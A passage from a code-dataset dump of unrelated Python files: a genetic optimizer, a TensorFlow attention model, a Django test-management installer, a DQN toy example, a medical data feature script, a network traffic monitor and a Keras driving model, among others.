offspring_list.append(child_genes)\n\n return offspring_list\n\n\ndef mutation(**kwargs):\n\n offspring = kwargs['offspring']\n GeneticOptimizer = kwargs['GeneticOptimizer']\n\n gene_list = list(range(len(offspring)))\n mutative_gene = np.random.choice(gene_list, 1)\n random_genes = GeneticOptimizer.get_random_parameters()\n offspring[mutative_gene[0]] = random_genes[mutative_gene[0]]\n\n return offspring\n\n\ndef run_algo(**kwargs):\n\n GeneticOptimizer = kwargs['GeneticOptimizer']\n num_individuals = kwargs['num_individuals']\n\n num_mating_pool = 4\n num_generations = 5\n\n new_population = get_new_population(num_individuals=num_individuals, GeneticOptimizer=GeneticOptimizer)\n fitness_list = []\n\n for i in range(num_individuals):\n fitness_list.append(calc_fitness(GeneticOptimizer=GeneticOptimizer, parameter_vector=new_population[i]))\n\n old_generation = new_population\n\n for i in range(num_generations):\n output = create_new_generation(population=old_generation, fitness_list=fitness_list, GeneticOptimizer=GeneticOptimizer,num_mating_pool=num_mating_pool)\n old_generation = output['generation']\n fitness_list = output['fitness_list']\n\n fitness_frame = pd.DataFrame()\n fitness_frame['fitness'] = fitness_list\n fitness_frame['id'] = fitness_frame.index\n\n fitness_frame.sort_values(by=['fitness'], inplace=True, ascending=False)\n return old_generation[fitness_frame['id'].iloc[0]]\n\n\ndef create_new_generation(**kwargs):\n\n population = kwargs['population']\n fitness_list = kwargs['fitness_list']\n GeneticOptimizer = kwargs['GeneticOptimizer']\n num_mating_pool = kwargs['num_mating_pool']\n offspring_size = len(population)-num_mating_pool\n\n fitness_frame = pd.DataFrame()\n fitness_frame['fitness'] = fitness_list\n fitness_frame['id'] = fitness_frame.index\n\n fitness_frame.sort_values(by=['fitness'], inplace=True, ascending=False)\n\n mating_pool = []\n new_fitness_list = []\n\n for i in range(num_mating_pool):\n mating_pool.append(population[fitness_frame['id'].iloc[i]])\n new_fitness_list.append(fitness_list[fitness_frame['id'].iloc[i]])\n offspring_list = crossover(parent_list=mating_pool, offspring_size=offspring_size)\n offspring_list = [mutation(offspring=x, GeneticOptimizer=GeneticOptimizer) for x in offspring_list]\n\n for i in range(offspring_size):\n new_fitness_list.append(calc_fitness(GeneticOptimizer=GeneticOptimizer, parameter_vector=offspring_list[i]))\n\n mating_pool.extend(offspring_list)\n\n return {'generation': mating_pool, 'fitness_list': new_fitness_list}\n\n\n\n\n\n\n","sub_path":"PycharmProjects/optimization/genetic_optimization.py","file_name":"genetic_optimization.py","file_ext":"py","file_size_in_byte":3851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"86223746","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nclass Entreprise:\n\n\tdef __init__(self):\n\t\tself.account_id \t= \"\"\n\t\tself.account_name \t= \"\"\n\n\tdef __str__(self):\n\t\tres = \"\\n{\\n\\n\"\n\t\tfor k in self.__dict__.keys():\n\t\t\tres = res + \" \" + str(type(self.__dict__[k])) + \"\\t\\t\" + k + \" : \" + str(self.__dict__[k]) + \",\\n\"\n\t\tres = res + \"\\n}\\n\"\n\t\treturn res\t","sub_path":"Selenium/robot/entreprise.py","file_name":"entreprise.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"219355774","text":"import tensorflow as tf\n\nimport importlib.machinery\nloader = importlib.machinery.SourceFileLoader('helper', '/Users/zhefushi/ml/code/library/helper.py')\n#loader = importlib.machinery.SourceFileLoader('helper', '/media/workspace/zhsh/tf/library/helper.py')\nhelper = loader.load_module('helper')\n\n#tfe.enable_eager_execution()\n\nclass Attention(object):\n\n\n def TanhMultiplication(self, input_x, row, col):\n w = tf.Variable(tf.random_normal([row, col]))\n b = tf.Variable(tf.zeros([col]))\n rst = tf.tanh(tf.add(tf.matmul(input_x, w), b))\n return rst\n\n\n def __init__(self, sequence_length, vocab_size, embedding_size, filter_sizes, num_filters,\n num_hidden_units, num_label,\n l2_reg_lambda=0.0, num_layers=1, use_peepholes_flag=False):\n\n\n # Placeholders for input, output and dropout\n self.x = tf.placeholder(tf.int32, [None, sequence_length], name=\"x\")\n self.y = tf.placeholder(tf.float32, [None, num_label], name=\"y\")\n self.dropout_keep_prob = tf.placeholder(tf.float32, name=\"dropout_keep_prob\")\n self.is_training = tf.placeholder(tf.bool, name=\"is_training\")\n\n\n # Embedding layer\n with tf.device('/cpu:0'), tf.name_scope(\"embedding\"):\n self.W = tf.Variable(\n tf.random_uniform([vocab_size, embedding_size], -1.0, 1.0),\n name=\"W\")\n self.embedded_chars = tf.nn.embedding_lookup(self.W, self.x)\n self.embedded_chars_expanded = tf.expand_dims(self.embedded_chars, -1)\n\n\n # Keeping track of l2 regularization loss (optional)\n l2_loss = tf.constant(0.0)\n\n\n # define CNN\n with tf.name_scope('cnn'), tf.variable_scope('cnn'):\n\n # Create a convolution + maxpool layer for each filter size\n pooled_outputs = []\n for i, filter_size in enumerate(filter_sizes):\n with tf.name_scope(\"conv-maxpool-%s\" % filter_size):\n # Convolution Layer\n filter_shape = [filter_size, embedding_size, 1, num_filters]\n W = tf.Variable(tf.truncated_normal(filter_shape, stddev=0.1), name=\"W\")\n b = tf.Variable(tf.constant(0.1, shape=[num_filters]), name=\"b\")\n conv = tf.nn.conv2d(\n self.embedded_chars_expanded,\n W,\n strides=[1, 1, 1, 1],\n padding=\"VALID\",\n name=\"conv\")\n # Apply nonlinearity\n h = tf.nn.relu(tf.nn.bias_add(conv, b), name=\"relu\")\n # Maxpooling over the outputs\n pooled = tf.nn.max_pool(\n h,\n ksize=[1, sequence_length - filter_size + 1, 1, 1],\n strides=[1, 1, 1, 1],\n padding='VALID',\n name=\"pool\")\n pooled_outputs.append(pooled)\n\n # Combine all the pooled features\n num_filters_total = num_filters * len(filter_sizes)\n cnn_h_pool = tf.concat(pooled_outputs, 3)\n cnn_h_pool_flat = tf.reshape(cnn_h_pool, [-1, num_filters_total])\n #cnn_h_pool_flat = tf.unstack(cnn_h_pool_flat, axis=1)\n\n\n # define lstm\n with tf.name_scope('lstm'), tf.variable_scope('lstm'):\n\n lstm_forward_cell = tf.nn.rnn_cell.MultiRNNCell(\n [tf.nn.rnn_cell.LSTMCell(num_hidden_units, use_peepholes=use_peepholes_flag)\n for _ in range(num_layers)])\n\n lstm_backward_cell = tf.nn.rnn_cell.MultiRNNCell(\n [tf.nn.rnn_cell.LSTMCell(num_hidden_units, use_peepholes=use_peepholes_flag)\n for _ in range(num_layers)])\n\n #lstm_word_list = tf.unstack(self.embedded_chars, axis=1)\n\n lstm_output, _ = tf.nn.bidirectional_dynamic_rnn(\n lstm_forward_cell, lstm_backward_cell, self.embedded_chars, dtype=tf.float32)\n\n lstm_h_pool = tf.unstack(lstm_output[0], axis=1)\n lstm_h_pool_1 = tf.unstack(lstm_output[1], axis=1)\n lstm_h_pool += lstm_h_pool_1\n\n\n # define attention\n with tf.name_scope('attention'), tf.variable_scope('attention'):\n\n r = []\n for h_i in lstm_h_pool:\n u_i = self.TanhMultiplication(h_i, h_i.shape[1].value, cnn_h_pool_flat.shape[1].value)\n tmp0 = tf.multiply(u_i, cnn_h_pool_flat)\n tmp_sum = tf.reduce_sum(tmp0, 1)\n r.append(tmp_sum)\n\n\n len_r = len(r)\n r = tf.transpose(r, [1, 0])\n r_tensor = tf.convert_to_tensor(r, dtype=tf.float32)\n r_prb = tf.keras.activations.softmax(r_tensor)\n\n #Adding a speed ratio for h_sum\n tmp1 = tf.reshape(r_prb[:, 0], [-1, 1])\n tmp2 = tf.multiply(tmp1, helper.SPEED_RATIO)\n h_sum = tf.multiply(lstm_h_pool[0], tmp2)\n for idx in range(1, len_r):\n tmp1 = tf.reshape(r_prb[:, idx], [-1, 1])\n tmp2 = tf.multiply(tmp1, helper.SPEED_RATIO)\n tmp3 = tf.multiply(lstm_h_pool[idx], tmp2)\n h_sum = tf.add(h_sum, tmp3)\n\n # Add dropout\n with tf.name_scope(\"dropout\"):\n h_sum = tf.nn.dropout(h_sum, self.dropout_keep_prob)\n\n\n h_sum_norm_batch = helper.BatchNormalizationLayer(h_sum,\n axis_now=1, is_training = self.is_training)\n\n\n scores = tf.layers.dense(h_sum_norm_batch, num_label)\n\n predictions = tf.argmax(scores, 1, name=\"predictions\")\n\n # Calculate mean cross-entropy loss\n with tf.name_scope(\"loss\"):\n losses = tf.nn.softmax_cross_entropy_with_logits(logits=scores, labels=self.y)\n self.loss = tf.reduce_mean(losses) + l2_reg_lambda * l2_loss\n\n\n # Accuracy\n with tf.name_scope(\"accuracy\"):\n correct_predictions = tf.equal(predictions, tf.argmax(self.y, 1))\n self.accuracy = tf.reduce_mean(tf.cast(correct_predictions, \"float\"), name=\"accuracy\")\n\n\n with tf.name_scope(\"r_prb_value\"):\n self.r_prb_value = r_prb\n\n\n\n\n\n","sub_path":"classification_attention_cnn_bi_rnn/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":6287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"615263005","text":"# -*- coding: utf-8 -*-\n# \n# Nitrate is copyright 2010 Red Hat, Inc.\n# \n# Nitrate is free software: you can redistribute it and/or modify it\n# under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 2 of the License, or\n# (at your option) any later version. This program is distributed in\n# the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n# even the implied warranties of TITLE, NON-INFRINGEMENT,\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n# \n# The GPL text is available in the file COPYING that accompanies this\n# distribution and at .\n# \n# Authors:\n# Xuqing Kuang \n\nfrom django.conf import settings\nfrom django.views.generic.simple import direct_to_template\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.db import models, connection, transaction\nfrom django.contrib.auth.models import Permission as DjangoPermission\nfrom django.contrib.auth.models import User as DjangoUser\nfrom django.contrib.auth.models import Group as DjangoGroup\n\ninstallation_completed_msg = 'Installation completed.'\nupgrade_completed_msg = 'Upgrade completed.'\n\ndef install(request):\n \"\"\"\n Initial TCMS database\n \"\"\"\n # Start the installation if the FIRST_RUN in settings is True\n if settings.FIRST_RUN:\n if request:\n return HttpResponseRedirect(\n reverse('tcms.install.create_groups'),\n args = [True, ]\n )\n \n # Command line installation\n raw_input('Press enter key to start installation, or press Ctrl +C to interrupt.\\n')\n print(create_groups({}))\n raw_input('Press enter key to continue to migrate the users.')\n print(port_users({}))\n return True\n \n # Otherwise break the installation steps\n return HttpResponse(installation_completed_msg)\n\ndef upgrade(request):\n \"\"\"\n Upgrade 1.0 to 2.0\n \"\"\"\n if settings.FIRST_RUN:\n if request:\n return HttpResponseRedirect(\n reverse('tcms.install.create_groups')\n )\n \n # Command line installation\n raw_input('Press enter key to start installation, or press Ctrl +C to interrupt.\\n')\n print(create_groups({}))\n return True\n \n return HttpResponse(upgrade_completed_msg)\n\ndef create_groups(request, port_user = False, template_name='install/create_groups.html'):\n \"\"\"\n Create the nercessery groups such as Tester and Administrator\n \"\"\"\n if not settings.FIRST_RUN:\n if request:\n return HttpResponse(completed_msg)\n return completed_msg\n \n if not request:\n message = 'Starting to create groups for Tester and Administrtor\\n\\n'\n print(message)\n \n permissions = DjangoPermission.objects.all()\n \n # Create the Administrator group\n tester_group, create = DjangoGroup.objects.get_or_create(name='Tester')\n for permission in permissions:\n if permission.id > 30 and not permission.codename.startswith('delete_') \\\n and permission.name.find('xml rpc') == -1:\n try:\n tester_group.permissions.add(permission)\n tester_group.save()\n except:\n pass\n \n # Create the Administrator group\n admin_group, create = DjangoGroup.objects.get_or_create(name='Administrator')\n for permission in permissions:\n if not permission.codename.startswith('delete_'):\n try:\n admin_group.permissions.add(permission)\n admin_group.save()\n except:\n pass\n \n # Render the web page for installation output\n if request:\n if port_user:\n return direct_to_template(request, template_name, {\n 'tester_group': tester_group,\n 'admin_group': admin_group,\n })\n else:\n return HttpResponse(upgrade_completed_msg)\n \n # Print out the output to console\n # if the user is not install with web service\n message += 'Create tester group successful with following permissions:\\n\\n'\n for permission in tester_group.permissions.all():\n message += '* ' + permission.name + '\\n'\n message += 'Create administrator group successful with following permissions:\\n\\n'\n for permission in admin_group.permissions.all():\n message += '* ' + permission.name + '\\n'\n \n return message\n\ndef port_users(request, template_name='install/port_users.html'):\n \"\"\"\n Port the contents of profiles table into django_auth_user\n \"\"\"\n from tcms.accounts.models import Profiles, Groups, UserGroupMap\n \n if not settings.FIRST_RUN:\n if request:\n return HttpResponse(completed_msg)\n return completed_msg\n \n if not request:\n message = 'Starting to migrate the users from profiles to auth_user table.\\n'\n print(message)\n \n create_error_users = []\n for profile in Profiles.objects.all():\n try:\n user = DjangoUser.objects.create(\n id = profile.userid,\n username = profile.login_name.split('@')[0],\n email = profile.login_name,\n password = DjangoUser.objects.make_random_password(),\n is_active = profile.disabledtext and False or True,\n )\n except:\n create_error_users.append(profile.login_name)\n \n # Get the tester group\n try:\n tester_group = DjangoGroup.objects.get(name='Tester')\n except DjangoGroup.DoesNotExist:\n tester_group = None\n \n # Get the administrator group\n try:\n admin_group = DjangoGroup.objects.get(name='Administrator')\n except DjangoGroup.DoesNotExist:\n admin_group = None\n \n if not tester_group and not admin_group:\n return direct_to_template(request, template_name, {\n 'create_user_errors': create_error_users,\n 'message': 'Port user completed, no group added.'\n })\n \n # Add correct admin permission and group to users.\n for user in DjangoUser.objects.all():\n user_group_map = UserGroupMap.objects.filter(user__userid = user.id)\n user_group_map = user_group_map.values_list('group_id', flat=True)\n \n # 7 is the admin group id in groups table\n if 7 in user_group_map:\n admin_group and user.groups.add(admin_group)\n if settings.SET_ADMIN_AS_SUPERUSER:\n user.is_superuser = True\n user.is_staff = True\n user.save()\n \n # 15 is the tester group id in groups table\n if 15 in user_group_map:\n tester_group and user.groups.add(tester_group)\n user.is_staff = True\n user.save()\n \n # Render the web page for installation output\n if request:\n return direct_to_template(request, template_name, {\n 'create_user_errors': create_error_users,\n })\n \n message = ''\n # Print out the output to console\n # if the user is not install with web service\n if create_error_users:\n message += 'Following users are failed to migrate.\\n'\n for user in create_error_users:\n message += '* ' + user + '\\n'\n \n message += 'Installation completed.\\n\\n'\n message += 'Please do not forget to set FIRST_RUN to False in settings file.\\n'\n \n return message\n\nif __name__ == '__main__':\n install({})\n","sub_path":"tcms/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":7536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"187353722","text":"from typing import List\nclass Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n resultIndex = []\n str_dict = {}\n\n num = 0\n for i,string in enumerate(strs):\n l = list(string)\n l.sort()\n l = \"\".join(l)\n if l not in str_dict:\n str_dict.update({l:num})\n num += 1\n resultIndex.append(str_dict[l])\n result = [[] for i in range(num)]\n for i in range(len(resultIndex)):\n result[resultIndex[i]].append(strs[i])\n return result\n\nif __name__ == \"__main__\":\n s = Solution()\n strs = [\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"]\n print(s.groupAnagrams(strs))\n\n\n\n \n \n \n\n","sub_path":"normal/groupAnagrams.py","file_name":"groupAnagrams.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"399259436","text":"# -*- coding: utf-8 -*-\n\"\"\"\nDQNの場合\n\"\"\"\n\nclass Dispenser(object):\n def __init__(self, init_state):\n \"\"\"\n 初期のON/OFF状態を設定する\n init_state: 0->電源OFF、1->電源ON\n \"\"\"\n self.state = init_state\n\n def powerbutton(self):\n \"\"\"\n 電源ボタンを押し、ON/OFFを切り替える\n \"\"\"\n if self.state == 0:\n self.state = 1\n else:\n self.state = 0\n\n def step(self, action):\n \"\"\"\n 払出機を操作する\n action: 0->電源ボタンを押す 1->払出ボタンを押す\n 状態と報酬が返る\n \"\"\"\n if action == 0: # 電源ボタンを押した場合\n self.powerbutton() # 電源ON/OFF切り替え\n reward = 0 # 報酬はない\n else: # 払出ボタンを押した場合\n if self.state == 1:\n reward = 1 # 電源ONのときのみ報酬あり\n else:\n reward = 0\n return self.state, reward\n\n############################################################################\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass DQN(nn.Module):\n def __init__(self):\n super(DQN, self).__init__()\n self.l1 = nn.Linear(1, 3)\n self.l2 = nn.Linear(3, 3)\n self.l3 = nn.Linear(3, 2)\n\n def forward(self, x):\n x = F.relu(self.l1(x))\n x = F.relu(self.l2(x))\n x = self.l3(x)\n return x\n\ndqn = DQN()\noptimizer = torch.optim.SGD(dqn.parameters(), lr=0.01)\ncriterion = nn.MSELoss()\n\n############################################################################\n\ndef update_dqn(state, action, next_state, reward):\n ## 各変数をtensorに変換\n state = torch.FloatTensor([state])\n action = torch.LongTensor([action]) # indexとして使うのでLong型\n next_state = torch.FloatTensor([next_state])\n\n ## Q値の算出\n q_now = dqn(state).gather(-1, action) # 今の状態のQ値\n max_q_next = dqn(next_state).max(-1)[0].detach() # 状態移行後の最大のQ値\n gamma = 0.9\n q_target = reward + gamma * max_q_next # 目標のQ値\n\n # DQNパラメータ更新\n optimizer.zero_grad()\n loss = criterion(q_now, q_target) # 今のQ値と目標のQ値で誤差を取る\n loss.backward()\n optimizer.step()\n \n return loss.item() # lossの確認のために返す\n\n###########################################################################\n\nimport numpy as np\n\nEPS_START = 0.9\nEPS_END = 0.0\nEPS_DECAY = 200\n\ndef decide_action(state, episode):\n state = torch.FloatTensor([state]) # 状態を1次元tensorに変換\n ## ε-グリーディー法\n eps = EPS_END + (EPS_START - EPS_END) * np.exp(-episode / EPS_DECAY)\n if eps <= np.random.uniform(0, 1):\n with torch.no_grad():\n action = dqn(state).max(-1)[1] # Q値が最大のindexが得られる\n action = action.item() # 0次元tensorを通常の数値に変換\n else:\n num_actions = len(dqn(state)) # action数取得\n action = np.random.choice(np.arange(num_actions)) # ランダム行動\n return action\n\n###########################################################################\n\nimport matplotlib.pyplot as plt\n\nNUM_EPISODES = 1200\nNUM_STEPS = 5\n\nlog = [] # 結果のプロット用\n\nfor episode in range(NUM_EPISODES):\n env = Dispenser(0)\n total_reward = 0 # 1エピソードでの報酬の合計を保持する\n\n for s in range(NUM_STEPS):\n ## 現在の状態を確認\n state = env.state\n ## 行動を決める\n action = decide_action(state, episode)\n ## 決めた行動に従いステップを進める。次の状態、報酬を得る\n next_state, reward = env.step(action)\n ## DQNを更新\n loss = update_dqn(state, action, next_state, reward)\n total_reward += reward\n\n log.append([total_reward, loss])\n\nr, l = np.array(log).T\nfig = plt.figure(figsize=(11,4))\nax1 = fig.add_subplot(121)\nax2 = fig.add_subplot(122)\nax1.set_xlabel(\"Episode\")\nax1.set_ylabel(\"Loss\")\nax1.set_yscale(\"log\")\nax2.set_xlabel(\"Episode\")\nax2.set_ylabel(\"Total reward\")\nax1.plot(l)\nax2.plot(r)\nplt.show()\n","sub_path":"20190504_simple_example_of_DQN/dispenser_DQN.py","file_name":"dispenser_DQN.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"348566720","text":"# -*- coding: utf-8 -*-\nimport pandas as pd\nimport numpy as np\nfrom dateutil.parser import parse\n\ntrain_data_file = '../data/d_train_20180102.csv'\ntest_data_file = '../data/d_test_A_20180102.csv'\n\n\"\"\"\n['id', '性别', '年龄', '体检日期', '*天门冬氨酸氨基转换酶', '*丙氨酸氨基转换酶', '*碱性磷酸酶', '*r-谷氨酰基转换酶', '*总蛋白', '白蛋白', '*球蛋白', '白球比例', \n'甘油三酯', '总胆固醇', '高密度脂蛋白胆固醇', '低密度脂蛋白胆固醇', '尿素', '肌酐', '尿酸', '乙肝表面抗原', '乙肝表面抗体', '乙肝e抗原', '乙肝e抗体', \n'乙肝核心抗体', '白细胞计数', '红细胞计数', '血红蛋白', '红细胞压积', '红细胞平均体积', '红细胞平均血红蛋白量', '红细胞平均血红蛋白浓度', '红细胞体积分布宽度', '血小板计数', \n'血小板平均体积', '血小板体积分布宽度', '血小板比积', '中性粒细胞%', '淋巴细胞%', '单核细胞%', '嗜酸细胞%', '嗜碱细胞%', '血糖']\n\"\"\"\n\ncolumns_rename = ['id', 'Sex', 'Age', 'Date', 'AST', 'ALT', 'ALP', 'GGT', 'TP', 'ALB', 'GLB', 'AG',\n 'TG', 'TC', 'HDL_C', 'LDL_C', 'Urea', 'Cre', 'UA', 'HBsAg' ,'HBsAb', 'HbeAg', 'HBeAb',\n 'HBcAb', 'WBC' ,'RBC' , 'HGB', 'PCV', 'MCV', 'MCH', 'MCHC', 'RDW', 'PLT', 'MPV', 'PDW',\n 'PCT', 'Neutrophil', 'Lymph', 'Monocytes', 'Acidophilic' ,'Basophil' ,'Blood_Sugar']\n\ndef make_data_feat():\n\n train_data = pd.read_csv(train_data_file, encoding='gb2312')\n train_data.columns = columns_rename\n columns_rename.pop()\n test_data = pd.read_csv(test_data_file, encoding='gb2312')\n test_data.columns = columns_rename\n\n train_id = train_data['id'].values.copy()\n test_id = test_data['id'].values.copy()\n data = pd.concat([train_data, test_data])\n\n data['Sex'] = data['Sex'].map({'男': 1, '女': 0})\n data['Date'] = (pd.to_datetime(data['Date'], format='%d/%m/%Y') - parse('2017-09-15')).dt.days\n\n data = data.fillna(data.mean(axis=0))\n # data['TG_UA'] = np.log1p(data['TG']) - np.log1p(data['UA'])\n # data['ALT_AST'] = np.log1p(data['ALT']) - np.log1p(data['AST'])\n # data['MCV_MCHC'] = np.log1p(data['MCV']) - np.log1p(data['MCHC'])\n # data['Urea_UA'] = np.log1p(data['Urea']) - np.log1p(data['UA'])\n data['TG_UA'] = data['TG'] / data['UA']\n data['ALT_AST'] = data['ALT'] / data['AST']\n data['MCV_MCHC'] = data['MCV'] / data['MCHC']\n data['Urea_UA'] = data['Urea'] / data['UA']\n\n # data['ALT'] = np.log1p(data['ALT'])\n # data['lg_GGT'] = np.log1p(data['GGT'])\n # data['lg_AST'] = np.log1p(data['AST'])\n # data['lg_TC'] = np.log1p(data['TC'])\n # data['lg_LDLC'] = np.log1p(data['LDL_C'])\n # data['lg_HDLC'] = np.log1p(data['HDL_C'])\n # data['lg_Cre'] = np.log1p(data['Cre'])\n # data['lg_TG'] = np.log1p(data['TG'])\n data['lg_Urea'] = np.log1p(data['Urea'])\n del data['HBcAb']\n del data['HBsAb']\n del data['HBsAg']\n del data['Acidophilic']\n del data['Basophil']\n\n\n\n\n data_temp = (data - data.min()) / (data.max() - data.min())\n # data['temp'] = data_temp['MCV'] / data_temp['MCHC']\n # del data['TG_UA']\n # del data['Basophil']\n\n train_feat = data[data.id.isin(train_id)]\n # train_feat = train_feat[['temp', 'Age', 'Urea', 'TG_UA', 'Blood_Sugar']]\n # train_feat = train_feat.sort_values('Blood_Sugar', ascending=False)\n test_feat = data[data.id.isin(test_id)]\n\n return train_feat, test_feat\n\nif __name__ == '__main__':\n\n print (0)","sub_path":"MEDICAL_TREAT/MedicalTreat116/MedicalTreat/src/feature_extract.py","file_name":"feature_extract.py","file_ext":"py","file_size_in_byte":3524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"373444524","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nimport time\nimport datetime\n\n\nETH_DEV=['eth0'] \n\ndef data_take():\n D={}\n for interface in ETH_DEV:\n _ftx = '/sys/class/net/%s/statistics/tx_bytes' % interface\n _frx = '/sys/class/net/%s/statistics/rx_bytes' % interface\n _inrx, _intx = interface+'_IN', interface+'_OUT'\n D[_inrx]=open(_frx).read()\n D[_intx]=open(_ftx).read()\n return D\n\ndef convert_bytes(bytes):\n bites = float(bytes*8)\n if bites >= 1099511627776:\n terabites = bites / 1099511627776\n size = '%.2fT' % terabites\n elif bites >= 1073741824:\n gigabites = bites / 1073741824\n size = '%.2fGbit/s' % gigabites\n elif bites >= 1048576:\n megabites = bites / 1048576\n size = '%.2fMbit/s' % megabites\n elif bites >= 1024:\n kilobites = bites / 1024\n size = '%.2fKbit/s' % kilobites\n else:\n size = '%.2fbit/s' % bites\n return size\n\n\ndef stat_take(time_wait= 5):\n D1=data_take()\n start_time=time.mktime(datetime.datetime.now().timetuple())\n time.sleep(time_wait)\n D2=data_take()\n finish_time=time.mktime(datetime.datetime.now().timetuple())\n for i in sorted(D2.keys()):\n _str = convert_bytes((int(D2[i])-int(D1[i])) / int( finish_time - start_time))\n print (i,'--',_str)\n\nif __name__ == '__main__':\n stat_take()\n","sub_path":"traf_mon/traf_static.py","file_name":"traf_static.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"16635524","text":"import csv \nimport cv2\nimport tensorflow as tf\nimport keras.backend as ktf\nimport numpy as np\n\nlines = []\nwith open('./data/driving_log.csv') as csvfile:\n\treader = csv.reader(csvfile)\n\tfirst = True\n\tfor line in reader:\n\t\tif first :\n\t\t\tfirst = False\n\t\t\tcontinue\n\t\tlines.append(line)\n\t\t\n\t\t\ndef generator(samples, batch_size=32):\n num_samples = len(samples)\n while 1: # Loop forever so the generator never terminates\n shuffle(samples)\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset+batch_size]\n\n images = []\n measurements = []\n for batch_sample in batch_samples:\n name = './data/IMG/'+batch_sample[0].split('/')[-1]\n center_image = cv2.imread(name)\n center_angle = float(batch_sample[3])\n images.append(center_image)\n measurements.append(center_angle)\n\n # trim image to only see section with road\n X_train = np.array(images)\n y_train = np.array(measurements)\n yield sklearn.utils.shuffle(X_train, y_train)\n\nfor line in lines:\n\tsource_file = line[0]\n\tfilename = source_file.split('/')[-1]\n\tcurrent_path = './data/IMG/'+ filename\n\timage = cv2.imread(current_path)\n\timage=cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\n\timage =image[60:140,:,:]\n\t#image =cv2.resize(image, (64,64))\n \n\timages.append(image)\n\n\tmeasurement = float(line[3])\n\tmeasurements.append(measurement)\n \nX_train = np.array(images)\ny_train = np.array(measurements)\n\nprint('X_train.shape',X_train.shape)\nprint('y_train.shape',y_train.shape)\n# Preprocessing\n\n# Crop done in Drive.py\n\n# Resize\n#def resize(x):\n#\treturn tf.image.resize_images(x,[64,64])\n#X_train = tf.image.resize_images(X_train, [64,64])\n\ndef resize(X):\n\t#return ktf.resize_images(X,64.0/80, 64.0/320, \"channels_first\")\n\timport tensorflow as tf\n\treturn tf.image.resize_images(X,[64,64])\n\n\n\n\n#MODEL ARCHITECTURE\n\nfrom keras.models import Sequential\nfrom keras.layers import Flatten,Dense,Activation,Lambda,Convolution2D,Dropout\n\nmodel = Sequential()\n#model.add(Lambda(lambda x: x/127.5 - 1,input_shape = (64,64,3)))\nmodel.add(Lambda(lambda x: x/127.5 - 1,input_shape = (80,320,3)))\nmodel.add(Lambda(resize))\n\nmodel.add(Convolution2D(6,5,5))\nmodel.add(Activation('relu'))\n\nmodel.add(Convolution2D(12,5,5))\nmodel.add(Activation('relu'))\n\nmodel.add(Dropout(0.5))\n\nmodel.add(Flatten())\n\nmodel.add(Dense(300))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\n\nmodel.add(Dense(100))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\n\nmodel.add(Dense(30))\nmodel.add(Activation('relu'))\n\nmodel.add(Dense(1))\n\n\nmodel.compile(loss = 'mse', optimizer = 'adam')\nhistory_object = model.fit(X_train, y_train, validation_split = 0.2, shuffle = True, nb_epoch = 2)\n### print the keys contained in the history object\nprint(history_object.history.keys())\n\n# ### plot the training and validation loss for each epoch\n# plt.plot(history_object.history['loss'])\n# plt.plot(history_object.history['val_loss'])\n# plt.title('model mean squared error loss')\n# plt.ylabel('mean squared error loss')\n# plt.xlabel('epoch')\n# plt.legend(['training set', 'validation set'], loc='upper right')\n# plt.show()\n\nmodel.save('model.h5')\n\n","sub_path":"model_gen.py","file_name":"model_gen.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"116156701","text":"# Create your views here.\nimport http.client as httplib\nimport itertools\nfrom django.shortcuts import render_to_response, render\nfrom django.shortcuts import redirect\nfrom django.http import HttpResponse\nfrom django.template import RequestContext\nfrom django.utils.cache import patch_vary_headers\nfrom django.contrib.sites.models import Site\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom rdflib.plugin import register, Parser, Serializer\nregister('json-ld', Parser, 'rdflib_jsonld.parser', 'JsonLDParser')\nregister('json-ld', Serializer, 'rdflib_jsonld.serializer', 'JsonLDSerializer')\nfrom rdflib import Graph\nfrom rdflib import Namespace, BNode, Literal, RDF, URIRef\n\n#import rdfextras\n#rdfextras.registerplugins()\nfrom django_conneg.views import ContentNegotiatedView\nfrom django_conneg.decorators import renderer\n\nfrom app.linkeddata.models import *\n\nSCHEMAS = {\n 'rdfs': 'http://www.w3.org/2000/01/rdf-schema#',\n 'owl': 'http://www.w3.org/2002/07/owl#',\n 'foaf': 'http://xmlns.com/foaf/0.1/',\n 'dc': 'http://purl.org/dc/terms/',\n 'bio': 'http://purl.org/vocab/bio/0.1/',\n 'geo': 'http://www.w3.org/2003/01/geo/wgs84_pos#',\n 'rel': 'http://purl.org/vocab/relationship/',\n 'graves': 'http://rdf.muninn-project.org/ontologies/graves#'\n }\n\n\nclass LinkedDataView(ContentNegotiatedView):\n model = None\n path = ''\n template_name = ''\n\n def get(self, request, id=None, format=None):\n # Check for merged records and redirect if 